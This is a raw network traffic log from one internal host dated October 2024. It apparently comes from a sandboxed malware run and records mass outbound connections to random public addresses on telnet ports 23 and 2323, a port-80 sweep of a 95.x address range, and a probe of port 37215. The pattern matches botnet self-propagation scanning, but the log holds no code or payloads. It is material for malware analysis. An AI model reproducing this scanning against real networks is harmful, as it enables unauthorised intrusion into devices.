Oct 29, 2024 20:52:40.098125935 CET	56326	23	192.168.2.13	140.217.48.224
Oct 29, 2024 20:52:40.098146915 CET	56326	23	192.168.2.13	210.180.58.88
Oct 29, 2024 20:52:40.098153114 CET	56326	23	192.168.2.13	174.185.84.26
Oct 29, 2024 20:52:40.098154068 CET	56326	2323	192.168.2.13	148.171.157.225
Oct 29, 2024 20:52:40.098171949 CET	56326	23	192.168.2.13	203.202.226.243
Oct 29, 2024 20:52:40.098176003 CET	56326	23	192.168.2.13	175.252.88.243
Oct 29, 2024 20:52:40.098180056 CET	56326	23	192.168.2.13	149.168.75.55
Oct 29, 2024 20:52:40.098196030 CET	56326	23	192.168.2.13	122.14.25.210
Oct 29, 2024 20:52:40.098195076 CET	56326	23	192.168.2.13	203.84.177.40
Oct 29, 2024 20:52:40.098196030 CET	56326	23	192.168.2.13	38.244.196.235
Oct 29, 2024 20:52:40.098201036 CET	56326	23	192.168.2.13	66.19.16.193
Oct 29, 2024 20:52:40.098206997 CET	56326	23	192.168.2.13	46.200.142.53
Oct 29, 2024 20:52:40.098206997 CET	56326	23	192.168.2.13	25.143.1.203
Oct 29, 2024 20:52:40.098206997 CET	56326	23	192.168.2.13	88.52.43.74
Oct 29, 2024 20:52:40.098226070 CET	56326	23	192.168.2.13	40.197.176.213
Oct 29, 2024 20:52:40.098227978 CET	56326	2323	192.168.2.13	180.46.39.200
Oct 29, 2024 20:52:40.098236084 CET	56326	23	192.168.2.13	219.184.79.254
Oct 29, 2024 20:52:40.098247051 CET	56326	23	192.168.2.13	135.172.35.62
Oct 29, 2024 20:52:40.098247051 CET	56326	23	192.168.2.13	106.223.162.61
Oct 29, 2024 20:52:40.098263979 CET	56326	23	192.168.2.13	181.222.192.210
Oct 29, 2024 20:52:40.098273993 CET	56326	23	192.168.2.13	190.182.237.6
Oct 29, 2024 20:52:40.098273993 CET	56326	23	192.168.2.13	81.84.229.3
Oct 29, 2024 20:52:40.098288059 CET	56326	23	192.168.2.13	168.197.176.190
Oct 29, 2024 20:52:40.098292112 CET	56326	23	192.168.2.13	93.254.164.147
Oct 29, 2024 20:52:40.098297119 CET	56326	2323	192.168.2.13	35.214.2.206
Oct 29, 2024 20:52:40.098297119 CET	56326	23	192.168.2.13	140.104.221.222
Oct 29, 2024 20:52:40.098301888 CET	56326	23	192.168.2.13	57.178.70.96
Oct 29, 2024 20:52:40.098303080 CET	56326	23	192.168.2.13	146.46.238.158
Oct 29, 2024 20:52:40.098305941 CET	56326	23	192.168.2.13	195.155.194.56
Oct 29, 2024 20:52:40.098309040 CET	56326	23	192.168.2.13	36.180.207.198
Oct 29, 2024 20:52:40.098318100 CET	56326	23	192.168.2.13	212.145.185.172
Oct 29, 2024 20:52:40.098330021 CET	56326	23	192.168.2.13	120.197.29.4
Oct 29, 2024 20:52:40.098336935 CET	56326	23	192.168.2.13	12.0.249.232
Oct 29, 2024 20:52:40.098350048 CET	56326	23	192.168.2.13	43.168.35.142
Oct 29, 2024 20:52:40.098359108 CET	56326	23	192.168.2.13	67.38.42.165
Oct 29, 2024 20:52:40.098367929 CET	56326	2323	192.168.2.13	93.96.90.73
Oct 29, 2024 20:52:40.098376989 CET	56326	23	192.168.2.13	81.45.119.39
Oct 29, 2024 20:52:40.098381996 CET	56326	23	192.168.2.13	12.2.131.204
Oct 29, 2024 20:52:40.098386049 CET	56326	23	192.168.2.13	151.114.132.86
Oct 29, 2024 20:52:40.098388910 CET	56326	23	192.168.2.13	95.217.85.151
Oct 29, 2024 20:52:40.098388910 CET	56326	23	192.168.2.13	182.51.29.195
Oct 29, 2024 20:52:40.098392963 CET	56326	23	192.168.2.13	13.70.238.194
Oct 29, 2024 20:52:40.098404884 CET	56326	23	192.168.2.13	36.85.60.149
Oct 29, 2024 20:52:40.098412991 CET	56326	23	192.168.2.13	168.144.118.52
Oct 29, 2024 20:52:40.098428011 CET	56326	2323	192.168.2.13	57.238.88.218
Oct 29, 2024 20:52:40.098428965 CET	56326	23	192.168.2.13	93.131.116.234
Oct 29, 2024 20:52:40.098433018 CET	56326	23	192.168.2.13	92.151.90.190
Oct 29, 2024 20:52:40.098433018 CET	56326	23	192.168.2.13	58.238.107.26
Oct 29, 2024 20:52:40.098438978 CET	56326	23	192.168.2.13	175.202.230.124
Oct 29, 2024 20:52:40.098443031 CET	56326	23	192.168.2.13	152.40.87.135
Oct 29, 2024 20:52:40.098445892 CET	56326	23	192.168.2.13	185.58.139.36
Oct 29, 2024 20:52:40.098448038 CET	56326	23	192.168.2.13	42.240.168.166
Oct 29, 2024 20:52:40.098463058 CET	56326	2323	192.168.2.13	27.181.21.142
Oct 29, 2024 20:52:40.098468065 CET	56326	23	192.168.2.13	69.193.21.247
Oct 29, 2024 20:52:40.098469019 CET	56326	23	192.168.2.13	190.98.250.224
Oct 29, 2024 20:52:40.098468065 CET	56326	23	192.168.2.13	106.190.53.75
Oct 29, 2024 20:52:40.098469019 CET	56326	23	192.168.2.13	135.67.17.7
Oct 29, 2024 20:52:40.098468065 CET	56326	23	192.168.2.13	143.167.158.43
Oct 29, 2024 20:52:40.098488092 CET	56326	23	192.168.2.13	178.78.104.239
Oct 29, 2024 20:52:40.098489046 CET	56326	23	192.168.2.13	180.144.132.58
Oct 29, 2024 20:52:40.098489046 CET	56326	23	192.168.2.13	47.47.132.63
Oct 29, 2024 20:52:40.098490000 CET	56326	23	192.168.2.13	157.44.10.86
Oct 29, 2024 20:52:40.098494053 CET	56326	23	192.168.2.13	145.12.95.177
Oct 29, 2024 20:52:40.098495007 CET	56326	23	192.168.2.13	5.172.109.126
Oct 29, 2024 20:52:40.098500013 CET	56326	23	192.168.2.13	121.223.150.125
Oct 29, 2024 20:52:40.098501921 CET	56326	2323	192.168.2.13	133.225.15.162
Oct 29, 2024 20:52:40.098519087 CET	56326	23	192.168.2.13	179.197.7.232
Oct 29, 2024 20:52:40.098525047 CET	56326	23	192.168.2.13	118.40.81.33
Oct 29, 2024 20:52:40.098529100 CET	56326	23	192.168.2.13	181.137.184.215
Oct 29, 2024 20:52:40.098546028 CET	56326	23	192.168.2.13	166.4.125.116
Oct 29, 2024 20:52:40.098548889 CET	56326	23	192.168.2.13	97.43.181.163
Oct 29, 2024 20:52:40.098557949 CET	56326	23	192.168.2.13	125.27.255.26
Oct 29, 2024 20:52:40.098558903 CET	56326	23	192.168.2.13	140.67.5.156
Oct 29, 2024 20:52:40.098566055 CET	56326	23	192.168.2.13	43.152.8.72
Oct 29, 2024 20:52:40.098573923 CET	56326	23	192.168.2.13	106.68.216.102
Oct 29, 2024 20:52:40.098577976 CET	56326	2323	192.168.2.13	112.184.140.240
Oct 29, 2024 20:52:40.098592997 CET	56326	23	192.168.2.13	203.81.187.27
Oct 29, 2024 20:52:40.098598003 CET	56326	23	192.168.2.13	199.87.95.64
Oct 29, 2024 20:52:40.098606110 CET	56326	23	192.168.2.13	42.194.65.214
Oct 29, 2024 20:52:40.098615885 CET	56326	23	192.168.2.13	158.55.233.63
Oct 29, 2024 20:52:40.098620892 CET	56326	23	192.168.2.13	13.204.141.180
Oct 29, 2024 20:52:40.098622084 CET	56326	23	192.168.2.13	65.111.39.212
Oct 29, 2024 20:52:40.098622084 CET	56326	23	192.168.2.13	188.248.130.42
Oct 29, 2024 20:52:40.098632097 CET	56326	23	192.168.2.13	174.173.158.181
Oct 29, 2024 20:52:40.098632097 CET	56326	23	192.168.2.13	50.241.254.109
Oct 29, 2024 20:52:40.098671913 CET	56326	2323	192.168.2.13	196.228.184.19
Oct 29, 2024 20:52:40.098675013 CET	56326	23	192.168.2.13	164.253.83.156
Oct 29, 2024 20:52:40.098675966 CET	56326	23	192.168.2.13	209.47.216.71
Oct 29, 2024 20:52:40.098676920 CET	56326	23	192.168.2.13	63.200.128.252
Oct 29, 2024 20:52:40.098676920 CET	56326	23	192.168.2.13	185.44.107.37
Oct 29, 2024 20:52:40.098678112 CET	56326	2323	192.168.2.13	170.247.80.109
Oct 29, 2024 20:52:40.098679066 CET	56326	23	192.168.2.13	210.171.206.205
Oct 29, 2024 20:52:40.098690033 CET	56326	23	192.168.2.13	128.125.110.199
Oct 29, 2024 20:52:40.098692894 CET	56326	23	192.168.2.13	59.166.204.232
Oct 29, 2024 20:52:40.098692894 CET	56326	23	192.168.2.13	206.47.152.110
Oct 29, 2024 20:52:40.098692894 CET	56326	23	192.168.2.13	147.94.212.62
Oct 29, 2024 20:52:40.098696947 CET	56326	23	192.168.2.13	35.56.12.69
Oct 29, 2024 20:52:40.098701954 CET	56326	23	192.168.2.13	32.72.190.117
Oct 29, 2024 20:52:40.098701954 CET	56326	23	192.168.2.13	158.20.68.228
Oct 29, 2024 20:52:40.098702908 CET	56326	2323	192.168.2.13	144.168.149.184
Oct 29, 2024 20:52:40.098706961 CET	56326	23	192.168.2.13	128.52.82.31
Oct 29, 2024 20:52:40.098714113 CET	56326	23	192.168.2.13	129.17.189.193
Oct 29, 2024 20:52:40.098714113 CET	56326	23	192.168.2.13	114.82.8.58
Oct 29, 2024 20:52:40.098714113 CET	56326	23	192.168.2.13	13.163.235.59
Oct 29, 2024 20:52:40.098715067 CET	56326	23	192.168.2.13	164.171.179.232
Oct 29, 2024 20:52:40.098714113 CET	56326	23	192.168.2.13	223.45.38.65
Oct 29, 2024 20:52:40.098716974 CET	56326	23	192.168.2.13	195.123.73.159
Oct 29, 2024 20:52:40.098714113 CET	56326	23	192.168.2.13	219.145.6.43
Oct 29, 2024 20:52:40.098716974 CET	56326	23	192.168.2.13	158.182.57.12
Oct 29, 2024 20:52:40.098714113 CET	56326	23	192.168.2.13	49.58.131.173
Oct 29, 2024 20:52:40.098714113 CET	56326	23	192.168.2.13	203.3.70.35
Oct 29, 2024 20:52:40.098714113 CET	56326	23	192.168.2.13	98.106.246.14
Oct 29, 2024 20:52:40.098723888 CET	56326	23	192.168.2.13	83.85.102.135
Oct 29, 2024 20:52:40.098723888 CET	56326	23	192.168.2.13	176.249.44.7
Oct 29, 2024 20:52:40.098727942 CET	56326	23	192.168.2.13	181.0.123.160
Oct 29, 2024 20:52:40.098742008 CET	56326	2323	192.168.2.13	145.196.237.226
Oct 29, 2024 20:52:40.098742962 CET	56326	23	192.168.2.13	136.52.77.54
Oct 29, 2024 20:52:40.098747969 CET	56326	23	192.168.2.13	151.131.40.76
Oct 29, 2024 20:52:40.098752975 CET	56326	23	192.168.2.13	163.151.205.177
Oct 29, 2024 20:52:40.098764896 CET	56326	23	192.168.2.13	93.13.208.174
Oct 29, 2024 20:52:40.098767996 CET	56326	23	192.168.2.13	117.139.238.247
Oct 29, 2024 20:52:40.098764896 CET	56326	23	192.168.2.13	95.86.123.69
Oct 29, 2024 20:52:40.098764896 CET	56326	23	192.168.2.13	81.108.6.101
Oct 29, 2024 20:52:40.098777056 CET	56326	23	192.168.2.13	219.33.58.233
Oct 29, 2024 20:52:40.098793030 CET	56326	23	192.168.2.13	145.29.133.197
Oct 29, 2024 20:52:40.098795891 CET	56326	2323	192.168.2.13	95.209.92.242
Oct 29, 2024 20:52:40.098795891 CET	56326	23	192.168.2.13	103.56.9.122
Oct 29, 2024 20:52:40.098819017 CET	56326	23	192.168.2.13	5.68.178.67
Oct 29, 2024 20:52:40.098819017 CET	56326	23	192.168.2.13	195.213.65.151
Oct 29, 2024 20:52:40.098824978 CET	56326	23	192.168.2.13	155.176.72.139
Oct 29, 2024 20:52:40.098826885 CET	56326	23	192.168.2.13	165.236.187.118
Oct 29, 2024 20:52:40.098826885 CET	56326	23	192.168.2.13	162.241.145.69
Oct 29, 2024 20:52:40.098836899 CET	56326	23	192.168.2.13	72.241.205.109
Oct 29, 2024 20:52:40.098860025 CET	56326	23	192.168.2.13	98.48.201.167
Oct 29, 2024 20:52:40.098860025 CET	56326	23	192.168.2.13	43.77.148.124
Oct 29, 2024 20:52:40.098860979 CET	56326	23	192.168.2.13	177.240.68.247
Oct 29, 2024 20:52:40.098860025 CET	56326	23	192.168.2.13	38.254.193.251
Oct 29, 2024 20:52:40.098860979 CET	56326	23	192.168.2.13	125.106.181.63
Oct 29, 2024 20:52:40.098860979 CET	56326	2323	192.168.2.13	32.29.62.218
Oct 29, 2024 20:52:40.098860979 CET	56326	23	192.168.2.13	103.139.227.54
Oct 29, 2024 20:52:40.098882914 CET	56326	23	192.168.2.13	199.175.28.98
Oct 29, 2024 20:52:40.098882914 CET	56326	23	192.168.2.13	220.243.124.164
Oct 29, 2024 20:52:40.098889112 CET	56326	23	192.168.2.13	216.161.23.12
Oct 29, 2024 20:52:40.098889112 CET	56326	23	192.168.2.13	46.194.21.254
Oct 29, 2024 20:52:40.098890066 CET	56326	23	192.168.2.13	41.33.9.11
Oct 29, 2024 20:52:40.098891973 CET	56326	23	192.168.2.13	184.84.122.93
Oct 29, 2024 20:52:40.098895073 CET	56326	2323	192.168.2.13	167.99.170.175
Oct 29, 2024 20:52:40.098897934 CET	56326	23	192.168.2.13	125.128.237.228
Oct 29, 2024 20:52:40.098902941 CET	56326	23	192.168.2.13	114.29.245.17
Oct 29, 2024 20:52:40.098902941 CET	56326	23	192.168.2.13	163.7.224.74
Oct 29, 2024 20:52:40.098905087 CET	56326	23	192.168.2.13	199.235.143.71
Oct 29, 2024 20:52:40.098912001 CET	56326	23	192.168.2.13	112.138.163.207
Oct 29, 2024 20:52:40.098928928 CET	56326	23	192.168.2.13	84.182.139.115
Oct 29, 2024 20:52:40.098931074 CET	56326	23	192.168.2.13	54.88.245.3
Oct 29, 2024 20:52:40.098941088 CET	56326	23	192.168.2.13	223.197.186.247
Oct 29, 2024 20:52:40.098942041 CET	56326	2323	192.168.2.13	130.159.192.141
Oct 29, 2024 20:52:40.098946095 CET	56326	23	192.168.2.13	87.181.73.96
Oct 29, 2024 20:52:40.098958969 CET	56326	23	192.168.2.13	148.205.238.74
Oct 29, 2024 20:52:40.098975897 CET	56326	23	192.168.2.13	88.143.110.98
Oct 29, 2024 20:52:40.102336884 CET	2323	56326	17.217.112.208	192.168.2.13
Oct 29, 2024 20:52:40.102387905 CET	80	34272	95.5.24.82	192.168.2.13
Oct 29, 2024 20:52:40.102410078 CET	56326	2323	192.168.2.13	17.217.112.208
Oct 29, 2024 20:52:40.115067959 CET	80	39006	95.126.222.62	192.168.2.13
Oct 29, 2024 20:52:40.115093946 CET	80	51178	95.183.176.62	192.168.2.13
Oct 29, 2024 20:52:40.119076967 CET	80	33372	95.112.181.195	192.168.2.13
Oct 29, 2024 20:52:40.119090080 CET	80	41538	95.77.220.247	192.168.2.13
Oct 29, 2024 20:52:40.119100094 CET	80	36986	95.2.21.213	192.168.2.13
Oct 29, 2024 20:52:40.119111061 CET	80	51972	95.4.208.126	192.168.2.13
Oct 29, 2024 20:52:40.119122982 CET	80	60300	95.172.75.255	192.168.2.13
Oct 29, 2024 20:52:40.123075008 CET	80	53766	95.233.58.100	192.168.2.13
Oct 29, 2024 20:52:40.123089075 CET	80	57316	95.106.58.190	192.168.2.13
Oct 29, 2024 20:52:40.123100996 CET	80	52208	95.185.127.243	192.168.2.13
Oct 29, 2024 20:52:40.123209953 CET	46438	80	192.168.2.13	95.155.246.174
Oct 29, 2024 20:52:40.123212099 CET	50492	80	192.168.2.13	95.86.195.249
Oct 29, 2024 20:52:40.123219967 CET	57666	80	192.168.2.13	95.79.74.6
Oct 29, 2024 20:52:40.123248100 CET	39214	80	192.168.2.13	95.212.196.187
Oct 29, 2024 20:52:40.123255014 CET	40474	80	192.168.2.13	95.75.250.246
Oct 29, 2024 20:52:40.123255968 CET	44870	80	192.168.2.13	95.83.180.131
Oct 29, 2024 20:52:40.123255014 CET	48986	80	192.168.2.13	95.38.130.248
Oct 29, 2024 20:52:40.123255014 CET	45200	80	192.168.2.13	95.87.178.60
Oct 29, 2024 20:52:40.123256922 CET	35280	80	192.168.2.13	95.142.167.112
Oct 29, 2024 20:52:40.123258114 CET	42980	23	192.168.2.13	131.182.113.220
Oct 29, 2024 20:52:40.123258114 CET	53508	80	192.168.2.13	95.88.89.13
Oct 29, 2024 20:52:40.123255014 CET	43412	80	192.168.2.13	95.115.96.42
Oct 29, 2024 20:52:40.123258114 CET	46924	80	192.168.2.13	95.242.35.144
Oct 29, 2024 20:52:40.123266935 CET	41426	80	192.168.2.13	95.23.178.190
Oct 29, 2024 20:52:40.123281956 CET	40884	80	192.168.2.13	95.216.253.47
Oct 29, 2024 20:52:40.123286009 CET	38780	80	192.168.2.13	95.53.138.91
Oct 29, 2024 20:52:40.123286963 CET	49556	80	192.168.2.13	95.140.96.244
Oct 29, 2024 20:52:40.127055883 CET	80	41366	95.127.127.127	192.168.2.13
Oct 29, 2024 20:52:40.127082109 CET	80	53194	95.192.3.156	192.168.2.13
Oct 29, 2024 20:52:40.128659010 CET	80	50492	95.86.195.249	192.168.2.13
Oct 29, 2024 20:52:40.128683090 CET	80	46438	95.155.246.174	192.168.2.13
Oct 29, 2024 20:52:40.128758907 CET	50492	80	192.168.2.13	95.86.195.249
Oct 29, 2024 20:52:40.128758907 CET	46438	80	192.168.2.13	95.155.246.174
Oct 29, 2024 20:52:40.128839016 CET	50492	80	192.168.2.13	95.86.195.249
Oct 29, 2024 20:52:40.128839016 CET	50492	80	192.168.2.13	95.86.195.249
Oct 29, 2024 20:52:40.129306078 CET	50692	80	192.168.2.13	95.86.195.249
Oct 29, 2024 20:52:40.129760981 CET	46438	80	192.168.2.13	95.155.246.174
Oct 29, 2024 20:52:40.129760981 CET	46438	80	192.168.2.13	95.155.246.174
Oct 29, 2024 20:52:40.130072117 CET	46636	80	192.168.2.13	95.155.246.174
Oct 29, 2024 20:52:40.134310961 CET	80	50492	95.86.195.249	192.168.2.13
Oct 29, 2024 20:52:40.134638071 CET	80	50692	95.86.195.249	192.168.2.13
Oct 29, 2024 20:52:40.134721994 CET	50692	80	192.168.2.13	95.86.195.249
Oct 29, 2024 20:52:40.134757042 CET	50692	80	192.168.2.13	95.86.195.249
Oct 29, 2024 20:52:40.135109901 CET	80	46438	95.155.246.174	192.168.2.13
Oct 29, 2024 20:52:40.140506029 CET	80	50692	95.86.195.249	192.168.2.13
Oct 29, 2024 20:52:40.140575886 CET	50692	80	192.168.2.13	95.86.195.249
Oct 29, 2024 20:52:40.147100925 CET	80	34272	95.5.24.82	192.168.2.13
Oct 29, 2024 20:52:40.155164003 CET	56590	80	192.168.2.13	95.238.40.148
Oct 29, 2024 20:52:40.155183077 CET	56710	80	192.168.2.13	95.203.198.136
Oct 29, 2024 20:52:40.155203104 CET	42092	80	192.168.2.13	95.172.97.155
Oct 29, 2024 20:52:40.155205965 CET	41254	80	192.168.2.13	95.222.47.107
Oct 29, 2024 20:52:40.155215979 CET	39664	80	192.168.2.13	95.171.104.140
Oct 29, 2024 20:52:40.155215979 CET	46464	80	192.168.2.13	95.134.243.150
Oct 29, 2024 20:52:40.155215979 CET	50286	80	192.168.2.13	95.160.118.225
Oct 29, 2024 20:52:40.155219078 CET	37004	80	192.168.2.13	95.127.33.33
Oct 29, 2024 20:52:40.155224085 CET	55054	80	192.168.2.13	95.190.195.237
Oct 29, 2024 20:52:40.155224085 CET	36868	80	192.168.2.13	95.80.71.92
Oct 29, 2024 20:52:40.155224085 CET	33274	80	192.168.2.13	95.0.73.43
Oct 29, 2024 20:52:40.155237913 CET	40684	80	192.168.2.13	95.9.248.252
Oct 29, 2024 20:52:40.155237913 CET	43766	80	192.168.2.13	95.49.83.230
Oct 29, 2024 20:52:40.155242920 CET	55154	80	192.168.2.13	95.48.146.171
Oct 29, 2024 20:52:40.155251980 CET	59456	80	192.168.2.13	95.14.131.55
Oct 29, 2024 20:52:40.155261993 CET	50276	80	192.168.2.13	95.59.25.147
Oct 29, 2024 20:52:40.155280113 CET	33918	80	192.168.2.13	95.3.212.165
Oct 29, 2024 20:52:40.160613060 CET	80	56590	95.238.40.148	192.168.2.13
Oct 29, 2024 20:52:40.160629988 CET	80	56710	95.203.198.136	192.168.2.13
Oct 29, 2024 20:52:40.160702944 CET	56590	80	192.168.2.13	95.238.40.148
Oct 29, 2024 20:52:40.160769939 CET	56710	80	192.168.2.13	95.203.198.136
Oct 29, 2024 20:52:40.160801888 CET	56710	80	192.168.2.13	95.203.198.136
Oct 29, 2024 20:52:40.160801888 CET	56710	80	192.168.2.13	95.203.198.136
Oct 29, 2024 20:52:40.161336899 CET	56872	80	192.168.2.13	95.203.198.136
Oct 29, 2024 20:52:40.161741972 CET	56590	80	192.168.2.13	95.238.40.148
Oct 29, 2024 20:52:40.161741972 CET	56590	80	192.168.2.13	95.238.40.148
Oct 29, 2024 20:52:40.162041903 CET	56752	80	192.168.2.13	95.238.40.148
Oct 29, 2024 20:52:40.166136026 CET	80	56710	95.203.198.136	192.168.2.13
Oct 29, 2024 20:52:40.166683912 CET	80	56872	95.203.198.136	192.168.2.13
Oct 29, 2024 20:52:40.166739941 CET	56872	80	192.168.2.13	95.203.198.136
Oct 29, 2024 20:52:40.166768074 CET	56872	80	192.168.2.13	95.203.198.136
Oct 29, 2024 20:52:40.167056084 CET	80	56590	95.238.40.148	192.168.2.13
Oct 29, 2024 20:52:40.173393965 CET	80	56872	95.203.198.136	192.168.2.13
Oct 29, 2024 20:52:40.173455954 CET	56872	80	192.168.2.13	95.203.198.136
Oct 29, 2024 20:52:40.179034948 CET	80	50492	95.86.195.249	192.168.2.13
Oct 29, 2024 20:52:40.179110050 CET	80	46438	95.155.246.174	192.168.2.13
Oct 29, 2024 20:52:40.187155008 CET	38458	80	192.168.2.13	95.253.138.188
Oct 29, 2024 20:52:40.187165022 CET	44074	80	192.168.2.13	95.132.107.245
Oct 29, 2024 20:52:40.187191010 CET	50848	80	192.168.2.13	95.24.207.24
Oct 29, 2024 20:52:40.187232971 CET	36430	80	192.168.2.13	95.177.202.228
Oct 29, 2024 20:52:40.187237024 CET	56250	80	192.168.2.13	95.104.66.124
Oct 29, 2024 20:52:40.187319994 CET	48348	80	192.168.2.13	95.105.197.139
Oct 29, 2024 20:52:40.187319994 CET	33004	80	192.168.2.13	95.56.103.115
Oct 29, 2024 20:52:40.187319994 CET	38972	80	192.168.2.13	95.57.187.69
Oct 29, 2024 20:52:40.187319994 CET	36158	80	192.168.2.13	95.97.67.199
Oct 29, 2024 20:52:40.187320948 CET	34934	80	192.168.2.13	95.27.92.136
Oct 29, 2024 20:52:40.187320948 CET	33570	80	192.168.2.13	95.3.243.140
Oct 29, 2024 20:52:40.187321901 CET	51046	80	192.168.2.13	95.242.209.110
Oct 29, 2024 20:52:40.187321901 CET	39944	80	192.168.2.13	95.208.254.182
Oct 29, 2024 20:52:40.187335968 CET	60638	80	192.168.2.13	95.210.35.29
Oct 29, 2024 20:52:40.187338114 CET	38896	80	192.168.2.13	95.200.110.145
Oct 29, 2024 20:52:40.187338114 CET	34568	80	192.168.2.13	95.26.210.214
Oct 29, 2024 20:52:40.187338114 CET	53874	80	192.168.2.13	95.251.43.68
Oct 29, 2024 20:52:40.187338114 CET	56446	80	192.168.2.13	95.220.207.85
Oct 29, 2024 20:52:40.187338114 CET	41126	80	192.168.2.13	95.5.107.68
Oct 29, 2024 20:52:40.187340021 CET	55618	80	192.168.2.13	95.215.188.18
Oct 29, 2024 20:52:40.187340021 CET	37948	80	192.168.2.13	95.71.146.193
Oct 29, 2024 20:52:40.187340021 CET	35964	80	192.168.2.13	95.45.223.185
Oct 29, 2024 20:52:40.187349081 CET	35160	80	192.168.2.13	95.7.135.12
Oct 29, 2024 20:52:40.187349081 CET	58856	80	192.168.2.13	95.186.132.4
Oct 29, 2024 20:52:40.187350988 CET	45066	80	192.168.2.13	95.102.220.217
Oct 29, 2024 20:52:40.187352896 CET	55632	80	192.168.2.13	95.3.175.60
Oct 29, 2024 20:52:40.187352896 CET	48210	80	192.168.2.13	95.169.103.144
Oct 29, 2024 20:52:40.187361002 CET	55036	80	192.168.2.13	95.58.44.81
Oct 29, 2024 20:52:40.187361002 CET	38646	80	192.168.2.13	95.194.101.109
Oct 29, 2024 20:52:40.192671061 CET	80	44074	95.132.107.245	192.168.2.13
Oct 29, 2024 20:52:40.192837954 CET	44074	80	192.168.2.13	95.132.107.245
Oct 29, 2024 20:52:40.192837954 CET	44074	80	192.168.2.13	95.132.107.245
Oct 29, 2024 20:52:40.192837954 CET	44074	80	192.168.2.13	95.132.107.245
Oct 29, 2024 20:52:40.192949057 CET	80	38458	95.253.138.188	192.168.2.13
Oct 29, 2024 20:52:40.193021059 CET	80	48348	95.105.197.139	192.168.2.13
Oct 29, 2024 20:52:40.193041086 CET	38458	80	192.168.2.13	95.253.138.188
Oct 29, 2024 20:52:40.193103075 CET	48348	80	192.168.2.13	95.105.197.139
Oct 29, 2024 20:52:40.193233013 CET	44176	80	192.168.2.13	95.132.107.245
Oct 29, 2024 20:52:40.193653107 CET	48348	80	192.168.2.13	95.105.197.139
Oct 29, 2024 20:52:40.193667889 CET	48348	80	192.168.2.13	95.105.197.139
Oct 29, 2024 20:52:40.193928957 CET	48494	80	192.168.2.13	95.105.197.139
Oct 29, 2024 20:52:40.194226980 CET	38458	80	192.168.2.13	95.253.138.188
Oct 29, 2024 20:52:40.194226980 CET	38458	80	192.168.2.13	95.253.138.188
Oct 29, 2024 20:52:40.194500923 CET	38562	80	192.168.2.13	95.253.138.188
Oct 29, 2024 20:52:40.198201895 CET	80	44074	95.132.107.245	192.168.2.13
Oct 29, 2024 20:52:40.198997021 CET	80	48348	95.105.197.139	192.168.2.13
Oct 29, 2024 20:52:40.199626923 CET	80	38458	95.253.138.188	192.168.2.13
Oct 29, 2024 20:52:40.207092047 CET	80	56710	95.203.198.136	192.168.2.13
Oct 29, 2024 20:52:40.215009928 CET	80	56590	95.238.40.148	192.168.2.13
Oct 29, 2024 20:52:40.219160080 CET	46742	80	192.168.2.13	95.23.233.114
Oct 29, 2024 20:52:40.219172955 CET	59054	80	192.168.2.13	95.47.14.229
Oct 29, 2024 20:52:40.219178915 CET	37676	80	192.168.2.13	95.13.26.120
Oct 29, 2024 20:52:40.219180107 CET	45172	80	192.168.2.13	95.96.124.119
Oct 29, 2024 20:52:40.219187975 CET	58074	80	192.168.2.13	95.211.85.186
Oct 29, 2024 20:52:40.219187975 CET	49574	80	192.168.2.13	95.243.78.151
Oct 29, 2024 20:52:40.219191074 CET	55524	80	192.168.2.13	95.118.201.113
Oct 29, 2024 20:52:40.219194889 CET	59840	80	192.168.2.13	95.242.171.152
Oct 29, 2024 20:52:40.219206095 CET	33606	80	192.168.2.13	95.76.201.9
Oct 29, 2024 20:52:40.219206095 CET	45064	80	192.168.2.13	95.173.147.34
Oct 29, 2024 20:52:40.219206095 CET	60066	80	192.168.2.13	95.70.163.177
Oct 29, 2024 20:52:40.219217062 CET	48050	80	192.168.2.13	95.66.73.134
Oct 29, 2024 20:52:40.219217062 CET	44644	80	192.168.2.13	95.219.59.109
Oct 29, 2024 20:52:40.219217062 CET	33418	80	192.168.2.13	95.189.111.46
Oct 29, 2024 20:52:40.219217062 CET	53814	80	192.168.2.13	95.73.87.5
Oct 29, 2024 20:52:40.224625111 CET	80	46742	95.23.233.114	192.168.2.13
Oct 29, 2024 20:52:40.224637032 CET	80	59054	95.47.14.229	192.168.2.13
Oct 29, 2024 20:52:40.224646091 CET	80	37676	95.13.26.120	192.168.2.13
Oct 29, 2024 20:52:40.224701881 CET	59054	80	192.168.2.13	95.47.14.229
Oct 29, 2024 20:52:40.224704981 CET	37676	80	192.168.2.13	95.13.26.120
Oct 29, 2024 20:52:40.224723101 CET	46742	80	192.168.2.13	95.23.233.114
Oct 29, 2024 20:52:40.224730015 CET	59054	80	192.168.2.13	95.47.14.229
Oct 29, 2024 20:52:40.224735022 CET	37676	80	192.168.2.13	95.13.26.120
Oct 29, 2024 20:52:40.224781990 CET	46742	80	192.168.2.13	95.23.233.114
Oct 29, 2024 20:52:40.230701923 CET	80	59054	95.47.14.229	192.168.2.13
Oct 29, 2024 20:52:40.230782986 CET	59054	80	192.168.2.13	95.47.14.229
Oct 29, 2024 20:52:40.230997086 CET	80	37676	95.13.26.120	192.168.2.13
Oct 29, 2024 20:52:40.231152058 CET	80	37676	95.13.26.120	192.168.2.13
Oct 29, 2024 20:52:40.231163979 CET	80	46742	95.23.233.114	192.168.2.13
Oct 29, 2024 20:52:40.231230021 CET	37676	80	192.168.2.13	95.13.26.120
Oct 29, 2024 20:52:40.231244087 CET	46742	80	192.168.2.13	95.23.233.114
Oct 29, 2024 20:52:40.233222961 CET	37215	49382	197.231.175.200	192.168.2.13
Oct 29, 2024 20:52:40.233282089 CET	49382	37215	192.168.2.13	197.231.175.200
Oct 29, 2024 20:52:40.238976002 CET	80	44074	95.132.107.245	192.168.2.13
Oct 29, 2024 20:52:40.243176937 CET	80	38458	95.253.138.188	192.168.2.13
Oct 29, 2024 20:52:40.243195057 CET	80	48348	95.105.197.139	192.168.2.13
Oct 29, 2024 20:52:40.251177073 CET	55938	80	192.168.2.13	95.136.186.232
Oct 29, 2024 20:52:40.251177073 CET	43104	80	192.168.2.13	95.212.159.79
Oct 29, 2024 20:52:40.251184940 CET	49274	80	192.168.2.13	95.184.210.191
Oct 29, 2024 20:52:40.251194000 CET	48036	80	192.168.2.13	95.53.92.98
Oct 29, 2024 20:52:40.251195908 CET	50822	80	192.168.2.13	95.146.153.33
Oct 29, 2024 20:52:40.251195908 CET	46108	80	192.168.2.13	95.186.207.103
Oct 29, 2024 20:52:40.251195908 CET	59398	80	192.168.2.13	95.101.23.87
Oct 29, 2024 20:52:40.251216888 CET	60726	80	192.168.2.13	95.243.39.217
Oct 29, 2024 20:52:40.256762981 CET	80	55938	95.136.186.232	192.168.2.13
Oct 29, 2024 20:52:40.256795883 CET	80	49274	95.184.210.191	192.168.2.13
